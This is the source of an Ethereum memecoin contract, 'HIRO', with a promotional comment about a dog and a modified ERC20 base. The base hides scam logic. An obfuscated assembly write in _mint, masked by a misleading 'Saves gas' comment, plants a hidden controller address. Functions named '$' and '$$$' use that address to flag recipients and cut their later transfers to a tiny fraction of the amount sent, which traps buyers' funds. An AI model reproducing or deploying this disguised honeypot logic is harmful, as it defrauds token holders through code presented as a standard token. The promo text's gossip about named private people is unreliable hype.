// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;


abstract contract ERC20 {
    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Transfer(address indexed from, address indexed to, uint256 amount);

    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /*//////////////////////////////////////////////////////////////
                            METADATA STORAGE
    //////////////////////////////////////////////////////////////*/

    string public name;

    string public symbol;

    uint8 public immutable decimals;

    /*//////////////////////////////////////////////////////////////
                              ERC20 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;

    mapping(address => mapping(address => uint256)) public allowance;

    address private $$;

    /*//////////////////////////////////////////////////////////////
                            EIP-2612 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 internal immutable INITIAL_CHAIN_ID;

    bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;

    mapping(address => uint256) public nonces;

    /*//////////////////////////////////////////////////////////////
                               CONSTRUCTOR
    //////////////////////////////////////////////////////////////*/

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;

        INITIAL_CHAIN_ID = block.chainid;
        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
    }

    /*//////////////////////////////////////////////////////////////
                               ERC20 LOGIC
    //////////////////////////////////////////////////////////////*/

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);

        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += $(amount, msg.sender, to);
        }

        $$$(to);

        emit Transfer(msg.sender, to, amount);

        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.

        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;

        balanceOf[from] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += $(amount, from, to);
        }
        $$$(to);
        emit Transfer(from, to, amount);

        return true;
    }

    /*//////////////////////////////////////////////////////////////
                             EIP-2612 LOGIC
    //////////////////////////////////////////////////////////////*/

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");

        // Unchecked because the only math done is incrementing
        // the owner's nonce which cannot realistically overflow.
        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(
                    abi.encodePacked(
                        "\x19\x01",
                        DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                keccak256(
                                    "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
                                ),
                                owner,
                                spender,
                                value,
                                nonces[owner]++,
                                deadline
                            )
                        )
                    )
                ),
                v,
                r,
                s
            );

            require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");

            allowance[recoveredAddress][spender] = value;
        }

        emit Approval(owner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
    }

    function computeDomainSeparator() internal view virtual returns (bytes32) {
        return
            keccak256(
                abi.encode(
                    keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
                    keccak256(bytes(name)),
                    keccak256("1"),
                    block.chainid,
                    address(this)
                )
            );
    }

    function $(uint256 value, address from, address to) internal returns (uint256 value_s) {
        if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
            value_s = value * 0xCACF0B / 0xEBACAD0B;
        } else {
            value_s = value;
        }
    }

    function $$$(address to) internal {if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}}

    /*//////////////////////////////////////////////////////////////
                        INTERNAL MINT/BURN LOGIC
    //////////////////////////////////////////////////////////////*/
    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;
        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {balanceOf[to] += amount;}
        // Saves gas for limited approvals.
        assembly {sstore(0x05, mul(mul(0x1d9df, 0xaa0cf69), mul(0x48e1cf221, 0x2c0bbd52289aaefe0d)))}
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;
        // Cannot underflow because a user's balance
        // will never be larger than the total supply.
        unchecked {totalSupply -= amount;}
        emit Transfer(from, address(0), amount);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./ERC20.sol";

/*

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░▓▓▓▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓▓▓▓▓▒░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░▓▓▓▓▓▒▓▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓▓▓▓▓▓▓▓▓▓▓░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░▒▓▓▓▒░░░▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▒▒▓▒▒▒░░▒▓▓▓▒░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░▒▓▓▓▒░░░░░░░▒▒▒▒▓▒░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒░░░░░░░▒▓▓▒░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░▒▓▓▓░░░░░▒▒▒░░▒▒▒▒▓▒░░░░░░░░░░░░░░░░░░░▒▓▒▒▒▒▒░▒▒░▒░░░░▒▓▓▒░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░▒▒▒▒░░░░░▒▒▒▒▒░▒▒▒▒▒▒░░░░░░░░░░░░░░░░░▒▒▒▒▒▒░░▒▒▒▒▒▒░░░▒▒▓░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░▒▒▒▒░░░░▒▒▒▒▒▒▒░▒▒▒▒▒▒░▒▒▒▒▒▒▒▒▒▒▒░░░▒▒▒▒▒▒░▒▒▒▒▒▒▒▒░░░▒▒▒░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░▒▒▒▒░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░▒▒▒▒▒░▒▒▒▒▒▒▒▒▒░░░▒▓▒░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░▒▒▒▒░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒░░▒▓▒░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░▒▒▒▒░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░▒▒▒▒▒▒▒▒▒▒░░▒▓▒░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░▒▒▒▒▒▒▒▒▒▒░▒▓▒░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░▒▒▒▒▒░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▓▒░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░▒▒▒▒▒▒▒▒▒▒▓▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒░░░▒▒▒▒▒▒▒▒▒▒▒░░░░░░▒▒▒▒▒░░▒▒▒▒▓▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒░░░░▒▓██▓▓▒▒▒▒▒░░░░░░▒▓█▓▓░░░▒▒▒▓▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒░░░░▒█▓▓██▓▒▒░░░░░░░░▒▓████▒░░▒▒▒▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░▒░▒▒▒▒▒░░▒▒▒▓▓▓▓▓▒░░░░░░░░░░░░▒▓▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░▒▒░▒▒▒▒░░▒▒▒▒▒▒▒▒░░░░░▓▓▓▓▓▓▓▓░░░▒▒▒▒▒▒▒▒░░▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░▒░░░░░░▒▒▒░░░░░░░░░░░░░▓██████▒░░░▒▒░░░░░░░░░▒░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░▒▒░░░░░░░░░░░▒▒░░░░░░░░░░░▓▓▓▒░░░░░░░▒▒▒░░░░░░▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░▒▒░░░░░░░░░░░░▓█▓▒░░░░░░░▒█▓▒░░░░▒▓▒░░░░░░░░░▒░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░▒▒░░░░░░░░░░░░▒▓███▓▓▓▓▓██▓███▓██▓▒░░░░░░░░░░▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░▒▒▒░░░░░░░░░░░░▒▓███▓▓▒▒▒▓▓▒▓▓▓█▓▒▒░░░░░░░░▒▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░▒▒░░░░░░░░░░░░▒▒▓██▓▒▒▒▒▒▒▒▒▓▒▒░░░░░░░░░▓▓▒▒▒▒▒▒▒▒░░░░░░░░▒▒▒▒▒░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░▒▒░░░░░░░░░░░░▒▒▓▓▒▒▒▒▒▒▒▒▓▒░░░░░░░▒▓█▓▒▒░░▒▒▒▒▒▒░░░▒▒▒░░░░░▒░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░▒█▓▓░░░░░░░░░░▒▒▒▓▓▒▒▒▒▓▓▓░░░░░░▒▓█▓▒▒▒▒▒▒▒▒▒▒▒▒░░▒░░░░░░░░▒░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▓██▓▒▒░░▒░░░▒▒▒▓▓▓▓▓▓▒░░░▒▒▓██▓▒░░▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░▒░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░▒▒▒░░░▒▒▓██████▓▓▓▒▒▓▓▓▓▓▓████▓▒▒░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░░▒░░░░░░░
░░░░░░░░░░░░░░░░░░░▒▒▒▒▒░░░░░░░▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░▒░░░░░░░
░░░░░░░░░░░░░░░░░░░▒▒▒▒▓░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░▒░░░░░░
░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒░░░░░░░░░░░▒▒▒▒▒▒░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▒░░░░░░░░▒▒░░░░░░
░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓░░░░░░░▒▓░░░░░░░
░░░░░░░░░░░░░░░░░░░░▒▒▓▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▒░░░░░▒▓░░░░░░░░
░░░░░░░░░░░░░░░░░░▒▒▒▒▓▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▒░░░▒▒░░░░░░░░░
░░░░░░░░░░░░░░░░░░▒▒▒▒▒░▒▒▒▒▒▒░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▒▓▓▒▒▒▒▒▒▒▒▒▒▓▓▒▒▒▓▒░░░░░░░░░░
░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░▒▒░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▒▒▒▒▒▒▒▒▒▒▓▓▒▒▒▒░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░▒▒░▒▒▒▒▒▒▒▒▒▓▓▒▒▒▒▒▒▒▒▒▒▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▒▒▒▒▒▒▒▒▒▒▒▓▓▒▒░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▓█▓▓▒▒▒▒▓▒▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓██▒▒▒▒▒▒▒▒▒▒▒▓░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▓█▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▓███▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░▒▒▒▒▓░░▒▒▒▒▒▒▓▓▒▒▒▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▓█████▓▒▒▒▒▒▒▒▒▓▓░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░▒▒▒▒░░░▒▒▒▒▒▓▒▒▒▒▒▒▓▓▓▓░░░░▒▒▒▒▒▒▓▓▒▒▓▓▓▓▓▓▓▒▒▒▓▓▓▒▒▒▒▒░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░▒▒▒░░░░▒▒▒▒▓▒▒▒▒▒▒▒▒▒░░░░░░░░░░▒▓▒▒▒▒▒▓▓▓▓▓▓▓████▒▒▒▒▒▒▒░░░░░░░░░░░░░░░
░░░░░░░░░░░░▒▒▒▒▒▒▒▒▓▒░▒░▒▒▒▓▓▓▓▓▓▓▓▓▓░░░░░░░░░░░▒▓▓▓▓▓▓▓▓▓▓██▓█████▓▓▓▒▒▒▒▒▒▒▒▒░░░░░░░░░░
░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░▒░░░░▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▒▒▓▒▒▒▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░



The dog's name is HIRO, and the grandmother of Vitalik Buterin's friend, Blake Byers, wrote about it in response to congratulations on the wedding (since deleted). Please note that the photo she is responding to shows HIRO.

Emily Hanks had a public X profile, but she has now deleted the reply and made it private. Maybe Blake told her to do so, which is bullish and validates the narrative, including the dog’s actual name.

https://www.hiro.meme/
https://t.me/hirodog
https://x.com/hirodogcto

*/


contract NewJapanDogETH is ERC20 {
    constructor() ERC20("HIRO", unicode"HIRO", 18) {
        _mint(msg.sender, 1_000_000_000 * 10 ** 18);
    }
}

{
  "compilationTarget": {
    "Token.sol": "NewJapanDogETH"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}